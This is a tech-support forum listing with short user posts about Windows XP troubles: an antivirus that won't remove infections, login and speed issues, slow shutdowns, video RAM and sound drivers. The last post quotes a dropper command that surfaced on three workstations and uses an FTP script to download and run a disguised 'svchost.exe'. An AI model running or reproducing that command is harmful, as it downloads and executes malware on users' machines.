CA - where can we delete the infections
by Guest leewl578- 3 replies
- 256 views
I know this is not the place to post my question but I can't help it as I did not get any reply from CA when I send them the email (twice) about a week ago. Their coporate section can't help either. Is there anyone out there who have use CA anti virus scan and after the scanning, where can we click to delete the infections? There is no button to click to delete it. When I rescan, the sames infections will be detected, so obviously it does not automativally clean or delete it. Kindly please advice if you are using CA and I apologise for posting here, thank you very much.

okay, i have internet explorer 7(i think). Everytime i try to log into an account it will either not let me log in at all by taking me right back to the log in screen ,or it will log me in and like 5 minutes later it will log me back out. it wont 'remember' screen names like for my myspace. it has suddenly gotten slow. I have broadband but right now the download speed is 207.98kbps which it used to be a MINIMUM of like 4mbps. could you tell me what to do?? at least with the login things because i can just get the internet company over for the speed issue. and when you tell me please simplify because i know some about computers but not alot. thanks ----…

WinXP Pro Hangs on Shutdown...Why????
by Guest David- 3 replies

I reformatted/reinstalled WinXP Pro -- after system started freezing on shutdown. After re-installing WInXP Pro and motherboard software(no other software)- the system shutdown normally. Next, I downloaded the windows updates - and the system starting taking nearly 2 minutes to shutdown (tested several times). Then after adding some programs, the system now takes well over 3 minutes to shutdown -- always hanging on "Saving your Settings". I've searched Microsoft and Googled galore -- but still remain confused as to the cause. I did check my drivers (through device manager) and the system was working fine on initial re-installation. Any ideas wo…

WinXP reporting incorrect video RAM
by Guest eagle- 1 reply
- 211 views
My video card (GeForce 7300GS 256MB RAM PCI-e) is reported by WinXP Home SP2 as having 512MB of video RAM. I've updated drivers/rolled back drivers and graphics intensive programs often crash to POST or to desktop. One application (Age of Empires III) did give me a hint in an error message after crash to desktop - video RAM = 0 - which didn't seem reasonable. Sys = AMD 64 X2 5600, 2GB RAM I do build my systems and this is first time I've had this problem. Could it be chipset drivers? Thanks

I reformatted my computer a couple of days ago becasue certain programs would not open. I successfully reinstalled XP and all my drivers. I had sound. I donwloaded SP2 and my sound disappeared.

I then right clicked on my computer, manage, device manager, and under system devices I found a yellow exclamation point next to plug and play soft device enumerator. This device is not working properly because Windows cannot load the drivers required for this device. (Code 31) Click Troubleshoot to start the troubleshooter for this device. I have uninstalled the device, but when …

We had three users (all with XP SP2) that all of a sudden this morning had their task manager open up along with a command prompt. In the command prompt, a statement was input along the lines of the following.... cmd /k echo open ms.microsoft.com 21 > o&echo user mircosoft password >> o &echo get svchost.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &svchost.exe Anyone seen anything like this before?

That is not a typo (above in the statement where it says mircosoft…
